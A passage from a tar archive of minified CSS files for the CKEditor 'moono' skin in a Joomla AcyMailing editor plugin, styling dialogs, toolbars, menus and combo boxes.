rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}.cke_dialog_ui_input_file{width:100%;height:25px}.cke_hc .cke_dialog_ui_labeled_content input:focus,.cke_hc .cke_dialog_ui_labeled_content select:focus,.cke_hc .cke_dialog_ui_labeled_content textarea:focus{outline:1px dotted}.cke_dialog .cke_dark_background{background-color:#dedede}.cke_dialog .cke_light_background{background-color:#ebebeb}.cke_dialog .cke_centered{text-align:center}.cke_dialog a.cke_btn_reset{float:right;background:url(images/refresh.png) top left no-repeat;width:16px;height:16px;border:1px none;font-size:1px}.cke_hidpi .cke_dialog a.cke_btn_reset{background-size:16px;background-image:url(images/hidpi/refresh.png)}.cke_rtl .cke_dialog a.cke_btn_reset{float:left}.cke_dialog a.cke_btn_locked,.cke_dialog a.cke_btn_unlocked{float:left;width:16px;height:16px;background-repeat:no-repeat;border:none 1px;font-size:1px}.cke_dialog a.cke_btn_locked .cke_icon{display:none}.cke_rtl .cke_dialog a.cke_btn_locked,.cke_rtl .cke_dialog a.cke_btn_unlocked{float:right}.cke_dialog a.cke_btn_locked{background-image:url(images/lock.png)}.cke_dialog a.cke_btn_unlocked{background-image:url(images/lock-open.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked,.cke_hidpi .cke_dialog a.cke_btn_locked{background-size:16px}.cke_hidpi .cke_dialog a.cke_btn_locked{background-image:url(images/hidpi/lock.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked{background-image:url(images/hidpi/lock-open.png)}.cke_dialog .cke_btn_over{border:outset 1px;cursor:pointer}.cke_dialog .ImagePreviewBox{border:2px ridge black;overflow:scroll;height:200px;width:300px;padding:2px;background-color:white}.cke_dialog .ImagePreviewBox table td{white-space:normal}.cke_dialog .ImagePreviewLoader{position:absolute;white-space:normal;overflow:hidden;height:160px;width:230px;margin:2px;padding:2px;opacity:.9;filter:alpha(opacity = 90);background-color:#e4e4e4}.cke_dialog .FlashPreviewBox{white-space:normal;border:2px ridge black;overflow:auto;height:160px;width:390px;padding:2px;background-color:white}.cke_dialog .cke_pastetext{width:346px;height:170px}.cke_dialog .cke_pastetext textarea{width:340px;height:170px;resize:none}.cke_dialog iframe.cke_pasteframe{width:346px;height:130px;background-color:white;border:1px solid #aeb3b9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.cke_dialog .cke_hand{cursor:pointer}.cke_disabled{color:#a0a0a0}.cke_dialog_body .cke_label{display:none}.cke_dialog_body label{display:inline;margin-bottom:auto;cursor:default}.cke_dialog_body label.cke_required{font-weight:bold}a.cke_smile{overflow:hidden;display:block;text-align:center;padding:.3em 0}a.cke_smile img{vertical-align:middle}a.cke_specialchar{cursor:inherit;display:block;height:1.25em;padding:.2em .3em;text-align:center}a.cke_smile,a.cke_specialchar{border:1px solid transparent}a.cke_smile:hover,a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:hover,a.cke_specialchar:focus,a.cke_specialchar:active{background:#fff;outline:0}a.cke_smile:hover,a.cke_specialchar:hover{border-color:#888}a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:focus,a.cke_specialchar:active{border-color:#139ff7}.cke_dialog_contents a.colorChooser{display:block;margin-top:6px;margin-left:10px;width:80px}.cke_rtl .cke_dialog_contents a.colorChooser{margin-right:10px}.cke_dialog_ui_checkbox_input:focus,.cke_dialog_ui_radio_input:focus,.cke_btn_over{outline:1px dotted #696969}.cke_iframe_shim{display:block;position:absolute;top:0;left:0;z-index:-1;filter:alpha(opacity = 0);width:100%;height:100%}.cke_rtl input.cke_dialog_ui_input_text,.cke_rtl input.cke_dialog_ui_input_password{padding-right:2px}.cke_rtl div.cke_dialog_ui_input_text,.cke_rtl div.cke_dialog_ui_input_password{padding-left:2px}.cke_rtl div.cke_dialog_ui_input_text{padding-right:1px}.cke_rtl .cke_dialog_ui_vbox_child,.cke_rtl .cke_dialog_ui_hbox_child,.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_last{padding-right:2px!important}.cke_hc .cke_dialog_title,.cke_hc .cke_dialog_footer,.cke_hc a.cke_dialog_tab,.cke_hc a.cke_dialog_ui_button,.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button_ok,.cke_hc a.cke_dialog_ui_button_ok:hover{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:0}
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/editor_ie.css000060400000110744152455305310027024 0ustar00.cke_reset{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none}.cke_reset_all,.cke_reset_all *{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none;border-collapse:collapse;font:normal normal normal 12px Arial,Helvetica,Tahoma,Verdana,Sans-Serif;color:#000;text-align:left;white-space:nowrap;cursor:auto;float:none}.cke_reset_all .cke_rtl *{text-align:right}.cke_reset_all iframe{vertical-align:inherit}.cke_reset_all textarea{white-space:pre}.cke_reset_all textarea,.cke_reset_all input[type="text"],.cke_reset_all input[type="password"]{cursor:text}.cke_reset_all textarea[disabled],.cke_reset_all input[type="text"][disabled],.cke_reset_all input[type="password"][disabled]{cursor:default}.cke_reset_all fieldset{padding:10px;border:2px groove #e0dfe3}.cke_reset_all select{box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.cke_reset_all table{table-layout:auto}.cke_chrome{display:block;border:1px solid #b6b6b6;padding:0;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_inner{display:block;-webkit-touch-callout:none;background:#fff;padding:0}.cke_float{border:0}.cke_float .cke_inner{padding-bottom:0}.cke_top,.cke_contents,.cke_bottom{display:block;overflow:hidden}.cke_top{border-bottom:1px solid #b6b6b6;padding:6px 8px 2px;white-space:normal;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_float .cke_top{border:1px solid #b6b6b6;border-bottom-color:#999}.cke_bottom{padding:6px 8px 2px;position:relative;border-top:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_browser_ios .cke_contents{overflow-y:auto;-webkit-overflow-scrolling:touch}.cke_resizer{width:0;height:0;overflow:hidden;width:0;height:0;overflow:hidden;border-width:10px 10px 0 0;border-color:transparent #666 transparent transparent;border-style:dashed solid dashed dashed;font-size:0;vertical-align:bottom;margin-top:6px;margin-bottom:2px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.3);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.3);box-shadow:0 1px 0 rgba(255,255,255,.3)}.cke_hc .cke_resizer{font-size:15px;width:auto;height:auto;border-width:0}.cke_resizer_ltr{cursor:se-resize;float:right;margin-right:-4px}.cke_resizer_rtl{border-width:10px 0 0 10px;border-color:transparent transparent transparent #a5a5a5;border-style:dashed dashed dashed solid;cursor:sw-resize;float:left;margin-left:-4px;right:auto}.cke_wysiwyg_div{display:block;height:100%;overflow:auto;padding:0 8px;outline-style:none;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.cke_panel{visibility:visible;width:120px;height:100px;overflow:hidden;background-color:#fff;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_menu_panel{padding:0;margin:0}.cke_combopanel{width:150px;height:170px}.cke_panel_frame{width:100%;height:100%;font-size:12px;overflow:auto;overflow-x:hidden}.cke_panel_container{overflow-y:auto;overflow-x:hidden}.cke_panel_list{list-style-type:none;margin:3px;padding:0;white-space:nowrap}.cke_panel_listItem{margin:0;padding-bottom:1px}.cke_panel_listItem a{padding:3px 4px;display:block;border:1px solid #fff;color:inherit!important;text-decoration:none;overflow:hidden;text-overflow:ellipsis;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px}* html .cke_panel_listItem a{width:100%;color:#000}*:first-child+html .cke_panel_listItem a{color:#000}.cke_panel_listItem.cke_selected a{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_panel_listItem a:hover,.cke_panel_listItem a:focus,.cke_panel_listItem a:active{border-color:#dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_hc .cke_panel_listItem a{border-style:none}.cke_hc .cke_panel_listItem a:hover,.cke_hc .cke_panel_listItem a:focus,.cke_hc .cke_panel_listItem a:active{border:2px solid;padding:1px 2px}.cke_panel_grouptitle{cursor:default;font-size:11px;font-weight:bold;white-space:nowrap;margin:0;padding:4px 6px;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #b6b6b6;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_panel_listItem p,.cke_panel_listItem h1,.cke_panel_listItem h2,.cke_panel_listItem h3,.cke_panel_listItem h4,.cke_panel_listItem h5,.cke_panel_listItem h6,.cke_panel_listItem pre{margin-top:0;margin-bottom:0}.cke_colorblock{padding:3px;font-size:11px;font-family:'Microsoft Sans Serif',Tahoma,Arial,Verdana,Sans-Serif}.cke_colorblock,.cke_colorblock a{text-decoration:none;color:#000}span.cke_colorbox{width:10px;height:10px;border:#808080 1px solid;float:left}.cke_rtl span.cke_colorbox{float:right}a.cke_colorbox{border:#fff 1px solid;padding:2px;float:left;width:12px;height:12px}.cke_rtl a.cke_colorbox{float:right}a:hover.cke_colorbox,a:focus.cke_colorbox,a:active.cke_colorbox{border:#b6b6b6 1px solid;background-color:#e5e5e5}a.cke_colorauto,a.cke_colormore{border:#fff 1px solid;padding:2px;display:block;cursor:pointer}a:hover.cke_colorauto,a:hover.cke_colormore,a:focus.cke_colorauto,a:focus.cke_colormore,a:active.cke_colorauto,a:active.cke_colormore{border:#b6b6b6 1px solid;background-color:#e5e5e5}.cke_toolbar{float:left}.cke_rtl .cke_toolbar{float:right}.cke_toolgroup{float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_hc .cke_toolgroup{border:0;margin-right:10px;margin-bottom:10px}.cke_rtl .cke_toolgroup{float:right;margin-left:6px;margin-right:0}a.cke_button{display:inline-block;height:18px;padding:4px 6px;outline:0;cursor:default;float:left;border:0}.cke_ltr .cke_button:last-child,.cke_rtl .cke_button:first-child{-moz-border-radius:0 2px 2px 0;-webkit-border-radius:0 2px 2px 0;border-radius:0 2px 2px 0}.cke_ltr .cke_button:first-child,.cke_rtl .cke_button:last-child{-moz-border-radius:2px 0 0 2px;-webkit-border-radius:2px 0 0 2px;border-radius:2px 0 0 2px}.cke_rtl .cke_button{float:right}.cke_hc .cke_button{border:1px solid black;padding:3px 5px;margin:-2px 4px 0 -2px}.cke_button_on{-moz-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc a.cke_button_disabled:hover,.cke_hc a.cke_button_disabled:focus,.cke_hc a.cke_button_disabled:active{border-width:3px;padding:1px 3px}.cke_button_disabled .cke_button_icon{opacity:.3}.cke_hc .cke_button_disabled{opacity:.5}a.cke_button_on:hover,a.cke_button_on:focus,a.cke_button_on:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}a.cke_button_off:hover,a.cke_button_off:focus,a.cke_button_off:active,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{-moz-box-shadow:0 0 1px rgba(0,0,0,.3) inset;-webkit-box-shadow:0 0 1px rgba(0,0,0,.3) inset;box-shadow:0 0 1px rgba(0,0,0,.3) inset;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_button_icon{cursor:inherit;background-repeat:no-repeat;margin-top:1px;width:16px;height:16px;float:left;display:inline-block}.cke_rtl .cke_button_icon{float:right}.cke_hc .cke_button_icon{display:none}.cke_button_label{display:none;padding-left:3px;margin-top:1px;line-height:17px;vertical-align:middle;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5)}.cke_rtl .cke_button_label{padding-right:3px;padding-left:0;float:right}.cke_hc .cke_button_label{padding:0;display:inline-block;font-size:12px}.cke_button_arrow{display:inline-block;margin:8px 0 0 1px;width:0;height:0;cursor:default;vertical-align:top;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_rtl .cke_button_arrow{margin-right:5px;margin-left:0}.cke_hc .cke_button_arrow{font-size:10px;margin:3px -2px 0 3px;width:auto;border:0}.cke_toolbar_separator{float:left;background-color:#c0c0c0;background-color:rgba(0,0,0,.2);margin:5px 2px 0;height:18px;width:1px;-webkit-box-shadow:1px 0 1px rgba(255,255,255,.5);-moz-box-shadow:1px 0 1px rgba(255,255,255,.5);box-shadow:1px 0 1px rgba(255,255,255,.5)}.cke_rtl .cke_toolbar_separator{float:right;-webkit-box-shadow:-1px 0 1px rgba(255,255,255,.1);-moz-box-shadow:-1px 0 1px rgba(255,255,255,.1);box-shadow:-1px 0 1px rgba(255,255,255,.1)}.cke_hc .cke_toolbar_separator{width:0;border-left:1px solid;margin:1px 5px 0 0}.cke_toolbar_break{display:block;clear:left}.cke_rtl .cke_toolbar_break{clear:right}.cke_toolbox_collapser{width:12px;height:11px;float:right;margin:11px 0 0;font-size:0;cursor:default;text-align:center;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_toolbox_collapser:hover{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_toolbox_collapser.cke_toolbox_collapser_min{margin:0 2px 4px}.cke_rtl .cke_toolbox_collapser{float:left}.cke_toolbox_collapser .cke_arrow{display:inline-block;height:0;width:0;font-size:0;margin-top:1px;border-left:3px solid transparent;border-right:3px solid transparent;border-bottom:3px solid #474747;border-top:3px solid transparent}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{margin-top:4px;border-bottom-color:transparent;border-top-color:#474747}.cke_hc .cke_toolbox_collapser .cke_arrow{font-size:8px;width:auto;border:0;margin-top:0;margin-right:2px}.cke_menubutton{display:block}.cke_menuitem span{cursor:default}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#d3d3d3;display:block}.cke_hc .cke_menubutton{padding:2px}.cke_hc .cke_menubutton:hover,.cke_hc .cke_menubutton:focus,.cke_hc .cke_menubutton:active{border:2px solid;padding:0}.cke_menubutton_inner{display:table-row}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:table-cell}.cke_menubutton_icon{background-color:#d7d8d7;opacity:.70;filter:alpha(opacity=70);padding:4px}.cke_hc .cke_menubutton_icon{height:16px;width:0;padding:4px 0}.cke_menubutton:hover .cke_menubutton_icon,.cke_menubutton:focus .cke_menubutton_icon,.cke_menubutton:active .cke_menubutton_icon{background-color:#d0d2d0}.cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_label{padding:0 5px;background-color:transparent;width:100%;vertical-align:middle}.cke_menubutton_disabled .cke_menubutton_label{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_on{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_menubutton_on .cke_menubutton_icon{padding-right:3px}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#eff0ef}.cke_panel_frame .cke_menubutton_label{display:none}.cke_menuseparator{background-color:#d3d3d3;height:1px;filter:alpha(opacity=70);opacity:.70}.cke_menuarrow{background-image:url(images/arrow.png);background-position:0 10px;background-repeat:no-repeat;padding:0 5px}.cke_rtl .cke_menuarrow{background-position:5px -13px;background-repeat:no-repeat}.cke_menuarrow span{display:none}.cke_hc .cke_menuarrow span{vertical-align:middle;display:inline}.cke_combo{display:inline-block;float:left}.cke_rtl .cke_combo{float:right}.cke_hc .cke_combo{margin-top:-2px}.cke_combo_label{display:none;float:left;line-height:26px;vertical-align:top;margin-right:5px}.cke_rtl .cke_combo_label{float:right;margin-left:5px;margin-right:0}.cke_combo_button{cursor:default;display:inline-block;float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_combo_off a.cke_combo_button:hover,.cke_combo_off a.cke_combo_button:focus{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc');outline:0}.cke_combo_off a.cke_combo_button:active,.cke_combo_on a.cke_combo_button{border:1px solid #777;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_combo_on a.cke_combo_button:hover,.cke_combo_on a.cke_combo_button:focus,.cke_combo_on a.cke_combo_button:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}.cke_rtl .cke_combo_button{float:right;margin-left:5px;margin-right:0}.cke_hc a.cke_combo_button{padding:3px}.cke_hc .cke_combo_on a.cke_combo_button,.cke_hc .cke_combo_off a.cke_combo_button:hover,.cke_hc .cke_combo_off a.cke_combo_button:focus,.cke_hc .cke_combo_off a.cke_combo_button:active{border-width:3px;padding:1px}.cke_combo_text{line-height:26px;padding-left:10px;text-overflow:ellipsis;overflow:hidden;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5);width:60px}.cke_rtl .cke_combo_text{float:right;text-align:right;padding-left:0;padding-right:10px}.cke_hc .cke_combo_text{line-height:18px;font-size:12px}.cke_combo_open{cursor:default;display:inline-block;font-size:0;height:19px;line-height:17px;margin:1px 7px 1px;width:5px}.cke_hc .cke_combo_open{height:12px}.cke_combo_arrow{cursor:default;margin:11px 0 0;float:left;height:0;width:0;font-size:0;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_hc .cke_combo_arrow{font-size:10px;width:auto;border:0;margin-top:3px}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{opacity:.3}.cke_path{float:left;margin:-2px 0 2px}.cke_path_item,.cke_path_empty{display:inline-block;float:left;padding:3px 4px;margin-right:2px;cursor:default;text-decoration:none;outline:0;border:0;color:#4c4c4c;text-shadow:0 1px 0 #fff;font-weight:bold;font-size:11px}.cke_rtl .cke_path,.cke_rtl .cke_path_item,.cke_rtl .cke_path_empty{float:right}a.cke_path_item:hover,a.cke_path_item:focus,a.cke_path_item:active{background-color:#bfbfbf;color:#333;text-shadow:0 1px 0 rgba(255,255,255,.5);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);-webkit-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5)}.cke_hc a.cke_path_item:hover,.cke_hc a.cke_path_item:focus,.cke_hc a.cke_path_item:active{border:2px solid;padding:1px 2px}.cke_button__source_label,.cke_button__sourcedialog_label{display:inline}.cke_combo__fontsize .cke_combo_text{width:30px}.cke_combopanel__fontsize{width:120px}.cke_source{font-family:'Courier New',Monospace;font-size:small;background-color:#fff;white-space:pre}.cke_wysiwyg_frame,.cke_wysiwyg_div{background-color:#fff}.cke_chrome{visibility:inherit}.cke_voice_label{display:none}legend.cke_voice_label{display:none}a.cke_button_disabled,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{filter:alpha(opacity = 30)}.cke_button_disabled .cke_button_icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#00ffffff,endColorstr=#00ffffff)}.cke_button_off:hover,.cke_button_off:focus,.cke_button_off:active{filter:alpha(opacity = 100)}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{filter:alpha(opacity = 30)}.cke_toolbox_collapser{border:1px solid #a6a6a6}.cke_toolbox_collapser .cke_arrow{margin-top:1px}.cke_hc .cke_top,.cke_hc .cke_bottom,.cke_hc .cke_combo_button,.cke_hc a.cke_combo_button:hover,.cke_hc a.cke_combo_button:focus,.cke_hc .cke_toolgroup,.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc .cke_toolbox_collapser,.cke_hc .cke_toolbox_collapser:hover,.cke_hc 